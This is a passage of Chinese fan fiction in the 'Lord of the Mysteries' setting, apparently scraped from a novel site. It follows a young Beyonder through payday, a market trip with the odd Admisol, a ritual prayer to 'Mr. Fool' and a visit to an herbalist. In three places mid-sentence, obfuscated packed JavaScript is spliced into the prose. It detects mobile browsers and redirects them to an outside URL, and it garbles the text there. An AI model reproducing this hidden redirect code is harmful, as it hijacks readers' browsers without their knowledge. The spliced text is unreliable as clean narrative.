看着队长和你一起啃馅饼的模样,你心里那点因墓园对话而产生的沉重和疏离感猜稍稍散了一些。你还是更习惯、更熟悉队长现在的样子,虽然你知道自己这样期待队长一直保持天塌了有他顶着的样子很自私。 邓恩队长从摊贩那接过他自己的那份馅饼,边走边吃了起来。简单的食物,熟悉的行为模式,终于让你们之间的气氛恢复了平时的自然。 回到黑荆棘安保公司,你想起今天是发薪日。上周是你作为正式成员发薪的第一周,你立刻跑去财务室找奥利安娜女士领取自己的工资。 “下午好,小温蒂,这是你上周的薪水。” 奥利安娜太太递给你一个薄薄的信封,笑容一如既往的亲切专业。 “谢谢您,奥利安娜女士,见到您总能让人心情愉悦。” 你接过信封,走到一旁,迫不及待地打开。里面躺着两张纸币。你拿出来,仔细地、充满期待地数了两遍—— 一张5磅。 一张1磅。 …… 6磅?! 怎么只有6磅!!! 你心里瞬间响起充满震惊与失望的呐喊,脸上努力维持的表情差点崩塌。 说好的周薪飞跃呢?就算上周还是文职,但之前老尼尔明明提过正式队员周薪12磅啊!就算有差额,也不该只有6磅吧?这比文职(3磅)是多了一些,但离你预想的正式队员待遇也差太远了吧! 奥利安娜太太似乎察觉到你站在原地没动,表情有些古怪,关切地问:“怎么了,小温蒂,数额不对吗?” 你当然不敢直接质问“怎么只有6磅”,那太失礼了,而且奥利安娜太太只是照章办事。你急中生智,讪讪地笑了笑,指着那张1磅的纸币说:“没、没什么,奥利安娜太太。就是……您能帮我把这张1磅的纸币,换成苏勒吗?这样日常用起来方便些……” 这个要求合情合理。 “当然可以。” 奥利安娜太太不疑有他,很快给你换好了相应面额的苏勒和便士。 你捏着那把零零散散、听起来叮当响但实际购买力只有一张整磅的纸币和硬币,心里那个关于周薪12磅的美梦泡泡“啪”地一声,破裂得十分彻底。你急需弄清楚这是怎么回事。 你立刻在公司里找到了克莱恩——这位和你同期入职的“占卜家”先生,此刻正坐在文职办公室的角落里,对着他的历史资料皱眉。 “克莱恩!” 你凑过去,压低声音,带着最后一丝侥幸问,“你领了上周的薪水了吗?多少?” 克莱恩抬起头,表情有些了然,又带着同病相怜的无奈,他低声报出一个数字:“6磅。” “……” 最后一丝侥幸也破灭了。你苦着脸,“所以,12磅的周薪,到底是怎么回事?老尼尔和伦纳德他们……” 克莱恩显然已经调查过了,他叹了口气,用平静中带着一丝对现实认知的苦涩语气解释道:“我问过了。所谓‘每周12磅’的周薪,是序列等级加上足够长的工龄共同叠加后的结果。像我们这样的序列9,基础周薪就是6磅。据说序列8的基础周薪是8磅。伦纳德因为序列更高(序列8),而且他在值夜者的工龄比我们长得多,老尼尔先生更是资深非凡者,虽然现在退居二线,但序列和资历摆在那里,所以他们才能拿到每周12磅。” 原来如此!这就是高薪的真相! 你和克莱恩默默地对视了一眼,都从对方那双因为刚刚得知残酷真相而略显黯淡的眼睛里,看到了对序列晋升以及随之而来的加薪所产生的前所未有的、无比具体而炽热的渴望。 呜呜呜……12磅!好想要! 你在心里和克莱恩一起发出了无声的哀嚎与呐喊。 贫穷果然是最好的晋升催化剂。之前对“怪物”途径后续能力的模糊期待,此刻突然变得无比清晰和迫切——晋升序列8“机器”,不仅意味着能力的提升,更意味着每周稳定多出2磅的收入! 这对改善家庭经济、实现更多计划来说,实在太重要了! “看来,得催催胖达那边关于配方的消息了……” 你捏紧了口袋里刚刚领到的周薪,心中对晋升的渴望熊熊燃烧起来。而克莱恩大概也有着同样的想法。 和克莱恩交流完关于“12磅周薪”这个美丽误会的残酷真相后,克莱恩又想起什么,对你提醒道:“对了,今天新发布了一个通缉令,是针对一个叫特里斯的家伙,是序列8的‘教唆者’,前一个序列是‘刺客‘,相当危险。你平时出入也要多留意。” 他简单描述了一下通缉令上的特征:“黑头发,黑眼睛,一张看起来人畜无害的圆脸,气质据说挺有亲和力,甚至带着点腼腆。” 说着,他还从桌上堆积的文件里找出了那张通缉令的速写副本递给你看。 你接过来一看,画像上的男人果然眉目温和,脸颊略带婴儿肥,嘴角自然上扬,怎么看都像个邻家好脾气的兄长或者腼腆的年轻人。 爷爷的!这家伙怎么长得比我这货真价实的“条子”还有亲和力?! 内心忍不住爆了句粗口,感觉有点不爽。这年头,罪犯都不按套路出牌了。 最后,你只能对着画像点点头,一本正经地评价:“嗯,果然,真正的罪犯往往不会把坏字写在脸上。” 但心里偷偷补充了一句:“不过没关系,管你长得多纯良,等我用‘虚视’看你一眼,是人是鬼、干过什么好事,自然清清楚楚!没有什么能逃过我的眼睛!” 这点自信,你还是有的。 又处理了一些零碎文书工作,快到下班时间,你照例前往射击俱乐部进行每日的枪械练习。手感越来越稳,虽然依旧依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193731|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖那份说不清道不明的好运才能保证高命中率,但装弹、瞄准、击发、规避的动作流程已经形成肌肉记忆,流畅了不少。 练习结束后,你没直接回家,而是登上了前往码头区的公共马车。 愚者先生布置的仪式任务必须尽快完成。“最迟不超过周三”虽然是最后期限,但让一位疑似与正神同格的存在等到最后期限,显然不是明智之举。今天(周二)能完成是最好。虽然从之前的接触看,愚者先生似乎比较平和,但谁能保证高高在上的神明不会有突然不满意的时候?还是尽早落实为妙。 再次踏入恶龙酒吧那混杂着汗臭、酒精和喧哗的大门,绕过中央狂热的拳台,轻车熟路地穿过桌球室和后面的几道密门,你又来到了那个公共教室大小的非凡市场。 刚走进市场没几步,一个熟悉的身影就如同闻到肉骨头的小狗(?)般,“嗖”地一下贴了上来,正是阿德米索尔。 他苍白的脸上带着一种混合了狂热、依赖和小心翼翼的复杂表情,仰头看着我,张嘴就想喊—— “始祖!” “停!” 你立刻伸手,做了个“打住”的手势,感觉额角青筋都在跳。 这家伙,怎么还来! 你有点头疼,想起上次那个造谣的家伙莫名摔倒,心里琢磨着:“要不……试试诅咒他一下?让他也稍微倒霉点,比如自己绊自己一脚,安静会儿?” 你集中精神,对着亦步亦趋的阿德米索尔默念:“绊倒,绊倒,摔一跤!” ……无事发生。 阿德米索尔依旧眼巴巴地看着你,除了眼神更亮,大概觉得你的凝视是一种关注?总之他的脚步稳得不能再稳。 “好吧……” 你无奈地放弃。看来上次那个口无遮拦的家伙摔倒,真的只是他自个儿嘴欠运气差,跟你这“怪物”的能力没啥关系。而且阿德米索尔也够惨了,你其实也只是想让他踉跄试试,看自己有没有新能力,并不想真的让他摔倒在地上。 不过,阿德米索尔虽然还是神神叨叨,一口一个“始祖”,说着“您果然没有抛弃您的子民”之类的奇奇怪怪听不懂的话,但他确实把上次你的警告听进去了,没有像第一次那样直接扑上来抱腿,甚至没有靠得太近,只是跟在你身后大约两步远的位置,微微低着头,那姿态,还真有点像那种沉默而忠诚的仆人。虽然这个仆人精神状态堪忧,眼神过于炽热。 “上次教你的冥想,回去有自己试试吗?”基本上没有人会聘请阿德米索尔,他也没有居住的住房,不过深夜时候他还是可以在恶龙酒吧找块地板过夜的……啊,越了解越觉得惨啊,都不好意思凶他了。你关掉了灵视。 “我遵循您的教诲,努力收敛灵性,那些声音似乎小了一点点……” “那就好,自己没事多练练。行了,别跟着我,我有事要办。” 你摆摆手,试图驱赶他。 “是,始祖。我不会打扰您的。” 阿德米索尔立刻点头,但脚步只是顿了顿,并没有离开,依旧保持着那个安全距离,仿佛打定主意要当你的“尾巴”。 算了,眼不见为净。只要他不碍事、不发疯,就随他去吧。当务之急是采购仪式材料。 你深吸一口气,将注意力从身后的“尾巴”身上移开,目光开始在市场内那些散发着各种灵性波动的摊位上游移,寻找着愚者先生清单上要求的物品:四支带有檀香气味的崭新蜡烛、银制小刀、以及月亮花、金薄荷、深眠花、金手柑和岩玫瑰这几种特定草药的精油。 但愿这里的存货能让我凑齐。 68. 第66章 仪式 感恩!愚者先生要求的仪式材料虽然种类不少,但都属于相对常见、不需要管制的那一类。在几个摊位上转了一圈,你很快就将清单上的东西凑齐了。 摊主是个看起来有些精明的中年人,你佯装是个对神秘学好奇、想尝试简单仪式的非凡新手,稍作讨价还价,以一起购买为理由,成功将蜡烛和小刀的总价砍下了1苏勒。接着,你又在另一个专门售卖各种草药、精油和干燥植物的摊位上,找到了月亮花、金薄荷、深眠花、金手柑和岩玫瑰混合蒸馏好的成品精油。这省去了你自己动手萃取的麻烦,虽然价格不菲(指一小瓶就要5苏勒6便士),但考虑到仪式的重要性,你还是咬牙买下了一小瓶。 采购过程中,阿德米索尔 一直隔着几步距离,亦步亦趋地跟着你,既不打扰,也不远离。 你瞥了他几眼,发现他目光虽然依旧有些涣散,但似乎真的在努力控制自己,只是专注地看着你的背影,偶尔目光扫过你购买的物品,但并未表现出特别的兴趣或疑问。反正蜡烛、小刀、精油都不是什么见不得光的超凡物品,让他看见也无妨。 把东西都让摊主用纸袋装好拿在手里,我松了口气,但随即想到一个更现实的问题:那四样祭品主食怎么办? 白面包、费内波特面、海鲜饭、迪西馅饼。这四样东西体积不小,为了新鲜和仪式效果,最好在仪式前购买。但你要是突然提着这么四份食物回家,妈妈和弟弟西里斯肯定会好奇地盘问。 更麻烦的是,这些食物不是用来吃的,而是要用于仪式,事后可能还要处理掉。万一被妈妈发现,她怕不是要以为我加入了什么奇怪的邪教组织,在用食物进行诡异的祭祀! 虽然严格来说,向非七大正神的愚者先生献祭,在正统教会眼里确实可能算是信仰“邪神”行为……但你内心深处,实在不愿意将那位似乎知晓“汉字”、态度也相对温和(至少目前如此)的愚者先生简单地归类为“邪神”。 “嗯……算是比较友好的‘野神’吧。” 你暗自修正了定义。 无论如何,食物的携带是个麻烦。你停下脚步,转身看向身后那个一直安静跟随的身影——阿德米索尔。 你对他招了招手。 他几乎是立刻就小跑着靠近,脸上带着一丝期待和紧张。 ……既视感真的好强啊。 “我问你,” 你压低声音,开门见山,“你会不会爬墙?比如,顺着排水管或者墙壁的凹凸处,爬到房子二楼那样?” 阿德米索尔愣了一下,似乎在理解你的问题。他想了想,有些不确定地点头:“应该可以爬。我爬过码头仓库的货堆和矮墙……但没怎么爬过居民楼的排水管。” 他看起来有点瘦弱,但语气里没有畏惧,只有“您让我爬我就试试”的服从。 “嗯。” 你点点头,对他的回答还算满意。瘦弱是瘦弱点,但在底层摸爬滚打这么多年,爬高应该有点基础。“那好,现在就有件事要安排你去做。” 阿德米索尔的眼睛瞬间亮了起来,苍白的脸上甚至泛起了一层病态的红晕,仿佛得到了天大的恩赐。“始祖,请吩咐!我一定……” “你先别激动,” 我赶紧打断他的话,“先别激动,我们先去买点吃的。” 带着一头雾水但依旧兴奋的阿德米索尔,你再次穿过密门、桌球室,回到了喧闹的恶龙酒吧大堂。 就在你们即将走出酒吧大门时,你感觉到一道目光落在了你们身上。 你转头看去,发现是酒吧老板斯维因,那位据说曾是风暴教会的退休“代罚者”。他正靠在吧台后擦拭杯子,目光在你和阿德米索尔之间扫了扫,尤其是在阿德米索尔的脸上多停留了一会儿。 你不动声色地也看了回去,同时手指极快地拂过右眼眶。“虚视”瞬间开启,你从斯维因身上捕捉到了几个快速闪过的画面碎片——在阿德米索尔饿得发抖时递过去一块黑面包和一杯淡啤酒,在寒冷的夜晚默许他蜷缩在酒吧储物间的角落过夜,偶尔呵斥那些过分欺辱这位“怪物”的酒客…… 你明白了,斯维因先生算是阿德米索尔在这个混乱码头区半个非正式的“监护人”,这位退休的“代罚者”并非全然冷酷,给予了阿德米索尔一些最基本的庇护。 或许是因为你看起来不像码头区那些混混,也或许是因为阿德米索尔跟在你身后但并未表现出被强迫的恐惧。斯维因只是多看了我们两眼,并没有出声阻拦或询问。他那粗犷的脸上没什么表情,很快又低下头去擦拭酒杯。 你对他微微点头致意,算是打过招呼,然后便带着阿德米索尔,顺利离开了弥漫着酒气和汗味的“恶龙酒吧”,融入了码头区傍晚渐渐喧嚣起来的街道人流中。 傍晚时分从码头区返回北区的路上。 采购过程比预想的顺利。费内波特面和海鲜饭在一家供应工人快餐的小餐馆买到了,用纸盒简单打包。迪西馅饼在街边流动的摊贩那里也很容易买到,还带着刚出炉的热气。最后,你们来到了斯林太太的面包房,这家位于铁十字街和北区交界处的老店,你从小就熟悉,物美价廉,你以前常来。 推开挂着铃铛的店门,熟悉的烤麦香气扑面而来。打你有记忆起,斯林太太头发就已经变成了温柔的灰白色,在脑后挽成整齐的发髻,她的脸上总是洋溢着和煦的笑容。 她正站在柜台后整理着刚出炉的面包,看到你进来,眼睛弯成了月牙:“下午好,小温蒂!今天怎么有空过来?这位是……?” 她好奇地打量了一眼跟在后面、抱着几个纸盒、显得有些局促不安的阿德米索尔。 “下午好,斯林太太。” 你笑着打招呼,含糊地介绍,“额,这是我……嗯,一个小弟。斯林太太,麻烦您,我要10磅白面包,嗯……另外再要4磅黑麦面包。” 你盘算着,白面包大部分用于仪式,剩下的可以给家里当储备粮,黑面包顶饱也没那么显眼,适合给阿德米索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193732|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔。 “小弟?” 斯林太太一边熟练地用长柄夹子从篮子里夹取着表皮焦黄、内里柔软的白面包,一边用过来人的眼神打量你们,感叹道,“现在的年轻人啊,真是让我们这些老家伙看不懂了。看到你们这些朝气蓬勃的年轻人,总是让我意识到,自己是真的老喽。” 她说着,嘴角却上扬,露出一个略带顽皮的狡黠笑容,“不过现在好了,小温蒂,你已经从霍伊大学毕业,找到了体面的工作,听说还搬去了好房子,是个真正的体面小姐了。你妈妈前阵子来买东西,总是说起你,想让我们羡慕。” 你被说得有点不好意思,只能干笑着回应:“斯林太太,您可别这么说,您看着比我精神多了,还这么活泼。” 说话间,斯林太太已经麻利地将二十条白面包装进一个深棕色的大厚纸袋,又将八条黑麦面包装进一个小一号的浅棕色纸袋。她用沾着面粉的手指点了点柜台,笑道:“好了,一共是2苏勒8便士。” 你点点头,从口袋里掏出之前从奥利安娜太太那里换来的零钱,数出相应的数额递过去,心里快速闪过一个念头:“谷物法案之后,面包的价格好像确实又降了一点……能省点是点。” 接过两个纸袋,你走到店外。阿德米索尔还提着那几个纸盒,眼巴巴地看着你,等待下一步指令。 你将那个装着黑麦面包的小纸袋递给他,然后又从大白面包袋里抽出四条放进他的纸袋里,塞进他怀里。 “这个给你,” 你指了指那个小一号的纸袋,“算是这次你帮我做事的报酬。” 阿德米索尔身体一僵,脸上激动的红晕瞬间褪去,变得有些苍白,他非但没有高兴,反而像是受到了惊吓,连连摇头:“不、不!始祖!我不需要任何报酬!能为您做事是我的荣幸!请您不要赶我走!” 他似乎误解了你的意思,以为这是打发他离开的补偿。 “停!” 你立刻打断他过于激动的反应,有些头疼。想了想,你记起愚者先生在塔罗会上强调的“等价交换”原则,定了定神,用尽量平静、清晰的语气说道: “阿德米索尔,听着。我是一个注重公平交换的人。你帮我做事,付出了劳动,我给予你相应的报酬,这是很自然的事情。这是一次交换,你帮我,我给你面包,仅此而已。” 你特意强调了“交换”这个词。 看他眼神里还是带着不安和惶恐,你叹了口气,最终还是补充了一句:“这不是要赶你走的意思。只是我做事的原则。明白吗?” 听到你这句明确的解释,阿德米索尔紧绷的身体才慢慢放松下来。他低头看着怀里的纸袋,又抬头看看你,眼中重新燃起一丝微弱但真实的光亮,用力点了点头:“我明白了,始祖,我会完成您的任务的。” “好了,别废话了。拿好你的报酬。现在,跟我走,去贝西克特街。” 你提了提手里沉甸甸的、装着各种食物和仪式材料的纸盒和纸袋,示意他跟上。 69. 第67章 爬墙 等提着一大袋沉甸甸的仪式材料和白面包回家的时候,妈妈和弟弟西里斯果然已经等得有些心焦。看到你推门进来,妈妈立刻迎了上来,脸上带着关切:“温蒂,今天怎么回来得这么晚?是工作有什么事吗?” 你早有准备,抬了抬手,示意了一下手里那个看起来就很沉的布袋,里面露出蜡烛的轮廓和精油的玻璃瓶,以及特意放在显眼处的银制小刀。“没什么大事,妈妈。就是队长让我帮忙采购一些公司需要的特殊物品,明天要带过去。我在外面转了几家店才买齐。” 你语气尽量平常,将布袋稍微打开一点,让妈妈看到里面那些她完全不懂、但看起来确实“很专业”的东西——奇特的蜡烛、装着不明液体的小瓶、古老的银刀。 果然,妈妈的目光扫过那些物品,眼中露出了“看不懂但觉得很厉害”的迷茫。涉及女儿在安保公司的特殊高薪工作,她一向不会深入追问,毕竟这种公司常有一些保密协议。于是她只是点点头,叮嘱道:“工作要紧,但也别太累着自己。快去洗洗手,准备吃饭了。” “嗯!” 你应了一声,然后很自然地将那个装着白面包的大纸袋拿到厨房,从里面数出十条白面包递给妈妈,“妈,这些收起来,以后我们家的三餐,就吃白面包!我今天发了工资呢。” 说这话时,你心里带着一丝自豪和满足。妈妈接过柔软洁白的面包,脸上也露出了真切的笑容。 剩下的六条白面包,你则顺手拿起来,用轻松的语气说:“这些我放房间,晚上要是饿了当宵夜。” 然后便抱着面包和那个装着仪式材料的布袋,径直上楼回到自己的卧室。 “温蒂,不吃晚饭了吗?” 妈妈在楼下问道。 “我在外面简单吃过了!” 你隔着房门回了一句,然后立刻反手锁上了门,心脏因为即将开始的事情而微微加速。 将东西放在地板上,你快步走到房间侧面那扇方形的通风窗前,推开窗扇,小心翼翼地将脑袋探了出去。傍晚的天色尚未完全暗透,街灯刚刚亮起。 你很快在对面的街角阴影里,看到了那个抱着纸袋、蹲在地上的瘦削身影——阿德米索尔。他正仰着头,专注地望着你的窗口。 你左右张望了一下,发现还有零星路人经过,便冲阿德米索尔打了个“稍等”的手势。他似乎看懂了,用力点了点头,然后真的就原地蹲着,从怀里掏出你给的黑面包,小口小口地啃了起来,眼睛还时不时瞟向你的窗口。 “噗……” 你忍不住轻笑出声,这家伙,这样看起来好呆啊…… 不过,这种呆里透着一种单纯的服从,反而让你比较放心。 缩回脑袋,你不再浪费时间,迅速在房间中央清理出一块空地,开始按照记忆中的步骤布置仪式场地。先将四根崭新的檀香蜡烛放在预想的四角位置,接着是那把银制小刀,然后是那个装着混合精油的小玻璃瓶。动作麻利。 天色在忙碌中渐渐暗沉下去,街上的行人声也稀疏了。估摸着时间差不多了,你再次探身出窗,对着对面已经吃完面包、曲腿坐在地上耐心等待的阿德米索尔,打了个“可以行动”的明确手势。 阿德米索尔立刻站起身,将剩下的纸盒塞在纸袋里仔细揣好,然后像一只灵巧但瘦弱的猫,悄无声息地溜到了你家这排联排建筑的侧面。 贝西克特街25号、27号、29号是三栋紧紧相连的联排房屋。你看着阿德米索尔先是嘴里叼着纸袋,手脚并用地攀上了25号侧墙那根看起来颇为结实的铁制排水管,动作虽然不算特别敏捷,但稳扎稳打,很快爬到了与二楼阳台齐平的高度。接着,他小心翼翼地挪到25号的阳台边缘,试探着踩了上去,然后利用阳台栏杆作为支点,一个纵身,攀住了隔壁亨利先生家的屋顶边缘,吃力但成功地翻了上去。 在27号平坦的屋顶上稍作喘息,很快你就在自己房间听到了头顶的脚步声。 窗户前先是出现了一个纸包,阿德米索尔先把那袋主食送了下来。接下来的动作让你都替他捏了把汗——只见他整个人倒转过来,双手紧紧扒住屋顶边缘,将身体缓缓放下,如同钟摆般晃了几下,精准地将双脚探入了你的通风窗口! 你赶紧让开位置。他瘦得肋骨都清晰可见的身形在此刻成了优势,几乎没费什么劲,就灵巧地一缩身,从那个并不算大的方形窗口钻了进来,轻盈地落在地板上,只有轻微的落地声。 整个过程虽然听起来惊险,但阿德米索尔完成得出乎意料的顺利,除了呼吸稍微急促些,脸上甚至没有太多汗渍。他站稳后,立刻看向你,眼中有些雀跃。 “干得不错。” 你低声夸了一句,出于奖励,你还揉了揉他的脑袋,不过他的头发太短了,摸起来有些刺挠,手感并不好。 阿德米索尔听到你的夸奖,苍白的脸上顿时又泛起那抹病态的红晕,但他抿着嘴,努力不让自己表现得太激动,只是微微摇了摇头,让自己的脑袋在你的手下多蹭了几下。接着自觉地退到房间角落,蹲下,尽量缩小自己的存在感,目光却依旧牢牢追随着你。 一切都已就绪。四份象征不同领域的主食严格按照愚者先生指示的方位摆放妥当:左上方白面包,右上方费内波特面,左下方海鲜饭,右下方迪西馅饼。 接着,你用火柴依次点燃了四角的檀香蜡烛,橘黄色的火苗稳定跃动,释放出宁静悠远的香气。混合了五种草药的精油的气味也在空气中弥散开来,让人的心神不由自主地沉淀。 只剩下最后,也是最重要的步骤——布置灵性之墙,隔绝内外,创造一个纯净的仪式环境。 你深吸一口气,平复了一下略微加速的心跳。然而,当你准备开始念诵圣化咒文时,却意识到房间里还有一个外人——阿德米索尔。他正蹲在房间角落,那双时而涣散时而狂热的眼睛,正一眨不眨地望着你,似乎在困惑你为何突然停下,又似乎在等待你进一步的指令。 你叹了口气,愚者先生的尊名绝不能泄露,即使阿德米索尔精神状态特殊,且看似对你有着异常的忠诚,也不能冒这个风险。而且你也不确定在阿德米索尔面前念诵愚者的尊名会不会对他产生神秘学上的影响,毕竟阿德米索尔灵感极高,精神状态又不稳定。 你走到门边,打开反锁的房门,对阿德米索尔压低声音道:“你先出去,到二楼走廊尽头的盥洗室里待着。记住,不要发出任何声音,直到我叫你。” 阿德米索尔眼中闪过一丝不解,但他对你似乎有着本能的服从,没有多问一句,只是默默点了点头,像个影子一样悄无声息地溜出了房间,并顺手(在你眼神示意下)轻轻带上了门。你再次确认房门锁好,并侧耳倾听,确认外面没有任何动静后,才继续仪式。 现在,只剩下你一个人了。 你拿起那柄银制小刀,触手微凉。闭上眼,集中精神,回忆着老尼尔教导的步骤和愚者先生补充的细节。 你开始用古赫密斯语低沉而清晰地诵念起圣化银质武器、驱邪净化的咒文。随着咒文的吟唱,你感觉到自身的灵性被缓缓调动、注入手中的小刀,刀刃仿佛笼罩上了一层微不可见的、纯净的银白光泽。 咒文结束的刹那,你睁开眼,意念集中于刀尖,想象着自己的灵性如同水流般沿着手臂注入刀身,然后从刀尖喷薄而出,化作无形的屏障。 你手持“圣化”后的银刀,以自身和祭台为中心,缓慢而平稳地绕行一圈,刀尖在虚空中划过一道轨迹。 随着你的动作,你清晰地感觉到一股无形的力量从刀尖涌出,如同水银泻地,迅速在你周围构建起了一圈稳固、纯净的“墙壁”。外界的杂音、尘埃、乃至冥冥中可能存在的干扰与窥探,都被这层灵性之墙隔绝在外。 与此同时,四根蜡烛燃烧释放的檀香,与刚刚滴上精油的馥郁花草气息混合在一起,形成一种淡薄却沁人心脾的香气,弥漫在密封的空间内。在这香气与灵性之墙的双重作用下,你的身体逐渐放松,心神归于宁静,灵性也变得澄清而专注。 环境准备完毕。你暗自深吸一口那令人安宁的香气,怀抱着最大的敬畏与尊崇,低下了头,用尽可能标准、清晰的古赫密斯语,开始诵念那指向宏伟存在的三段式尊名: “不属于这个时代的愚者啊;” “你是灰雾之上的神秘主宰; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193733|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你是执掌好运的黄黑之王。” “我祈求您的帮助。” “我祈求您的眷顾。” “我祈求您让我拥有一个好梦。” “深眠花啊,属于红月的草药,请将力量传递给我的咒文。” “金手柑啊,属于太阳的草药,请将力量传递给我的咒文。” “……” 随着咒文的最后一个音节在空气中消散,你立刻收敛心神,开始默默冥想,在脑海中反复勾勒、祈求着那个具体的愿望——获得一个清晰、安宁、不受干扰的好梦。 就在你沉浸于冥想与祈求之中时,忽然,灵性之墙密封的空间内,毫无征兆地刮起了一阵微风,令四角的烛火一阵摇曳晃动! 你心头一跳,差点从冥想中惊醒,但立刻强行稳住。这是仪式得到回应的征兆吗?还是出了什么岔子?你不敢大意,连忙半闭上眼睛,摒弃杂念,更加专注、更加诚心地继续勾勒和请求,将全部意念都投入其中。 微风持续了一小会就渐渐平息。烛火恢复了平稳的燃烧。你感觉自己的祈求似乎随着那阵风传递到了某个难以言喻的层面。 又静心等待、冥想了片刻,直到再也感觉不到任何异样,你才缓缓睁开眼睛,结束了仪式。 “这样……就行了?” 我略感疑惑地环顾四周。没有奇光异彩,没有神秘的低语,没有任何肉眼可见的、超出常理的现象发生。祭品还是那些祭品,灵性之墙依旧稳固。除了刚才那阵莫名的微风,一切都和仪式开始前没什么两样。 仪式似乎平静地开始,又平静地结束了,只有蜡烛燃烧得尤其快,已经燃烧了大半,蜡泪在烛台边缘堆积。 “或许,高位存在的回应就是如此隐秘?毕竟只是祈求一个好梦的咒文,并非直接赐予力量或物品。” 你如此安慰自己。至少,仪式过程没有出现任何反噬或邪异的迹象,这本身就是一种成功。 不再犹豫,你走上前,依次吹灭了四角的蜡烛。随着最后一点火光的熄灭,你再次拿起银制小刀,用刀尖反向虚划一圈,同时默念解除的咒文。那层无形的灵性之墙悄然消散,房间内被拘束的檀香与草药混合气息缓缓向外扩散。同时,房间内那种被密封、净化的感觉消失了,外界夜晚的微凉空气和远处隐隐的市声重新透了进来。 仪式彻底结束。 你打开房门,朝走廊尽头压低声音道:“阿德米索尔,可以出来了。” 瘦削的身影很快出现在门口,脸上依旧带着一丝紧张和困惑。 “好了,事情做完了。” 你指了指地上那些作为祭品、现在已经完成使命的食物,“来,把这些我们俩一起分着吃了吧。别浪费。” 你拿起一块已经冷掉的迪西馅饼,心里嘀咕着:“吃掉用完的祭品……应该不算不敬吧?愚者先生看起来不像会计较这些细节的神……嗯,主要是不能浪费粮食!” 你给自己找到了一个理直气壮的理由。 阿德米索尔看着那些精致的白面包和已经冷了但是香气犹存的海鲜饭和馅饼,喉结动了动,但没敢立刻动手。 “吃吧,这也是仪式的一部分……算是分享赐福?” 你随口扯了个理由,自己先对迪西馅饼咬了一口。味道不错。 阿德米索尔这才小心翼翼地拿起一块白面包,小口吃了起来。他吃得很慢,动作有一种近乎虔诚的谨慎,让你感叹他比你懂什么叫敬畏。 你和阿德米索尔就这样,在完成了一场向隐秘存在祈求的仪式后,蹲在卧室地板上,安静地分食掉了那些本应献给神明的祭品。气氛有些古怪,但又奇异地和谐。 仪式已经完成,祈求已经发出。接下来,就是等待夜晚的降临,看看愚者先生是否真的回应了你的祈求。 吃完后,你让他从正门悄悄离开(这次不用爬墙了),并再次叮嘱他注意安全,平时继续练习你教的冥想方法。 关上门,房间里只剩下我一个人,以及空气中尚未散尽的、淡淡的檀香与草药气息。你躺倒在床上,看着天花板,摸了摸自己并无任何异常的额头或身体,回忆着仪式中那阵微风。 70.第68章 机器 你发现愚者先生似乎喜欢熬夜,比如深夜把你拉到那片灰雾弥漫的神明居所,你因此成为了“命运之轮”。而这次仪式的回应也是在深夜,声音重重叠叠像泛起的涟漪,把你从睡梦中炸醒,得到的回应只是一句“我知道了”。 好气哦,但是还是要保持微笑。 你不敢妄议神明,被吵醒后只能又躺了下去继续睡,因为明天还要上班。 7月11日,周三下班后,你晃悠到了弗拉德街,目标明确地走向那家挂着干草药招牌的小店。还没推门,透过玻璃窗就能看到达克威尔那圆滚滚的身影正在柜台后忙碌。他似乎感应到什么,抬头瞥了一眼,正好对上你的视线。 正在柜台后整理药材的达克威尔一抬头看到是你,胖乎乎的脸立刻皱成了一团,像驱赶苍蝇一样挥舞着手里的一把干鼠尾草: “怎么又是你!不是说配方有消息会通知你吗?走走走,别打扰我做生意!” 你嘿嘿一笑,完全无视他那毫无威慑力的驱赶,乐呵呵地推门而入,风铃叮当作响,又乐呵呵地凑到柜台前,脸上堆起灿烂(在达克威尔看来可能是欠揍)的笑容:“下午好啊,胖达!几天不见,有没有想我呀?” “说了不要叫我胖达!” 达克威尔几乎是条件反射般地吼道,但动作明显雷声大雨点小,并没有真的要打过来的意思。 达克威尔没好气地瞪了你一眼,转身从柜台下面摸出一个封着火漆、看起来颇为正式的信封,“啪”地一声拍在柜台上,有一种“公事公办”的不耐烦,嘟嘟囔囔地说:“哼,算你运气好……我老师的信昨天傍晚到了。” “真的?!” 你眼睛瞬间亮了,欢呼一声,几乎是扑过去拿起那封信,“我就知道!胖达,我们果然是好朋友!你心里还是在乎我的!我们的相遇绝对是命运的指引啊!” 你双手捧心,做出一副夸张的感动模样。 “谁跟你是好朋友!谁在乎你了!” 达克威尔的脸涨得通红,像是被踩了尾巴的猫,转身就往药店后面的小隔间走,嘴里还气呼呼地念叨着,“我就是来完成老师交待的任务而已!不然你以为我愿意从贝克兰德跑到廷根这地方来吗?又湿又冷,还没什么像样的草药市场,和贝克兰德相比简直就是乡下!” “哦?” 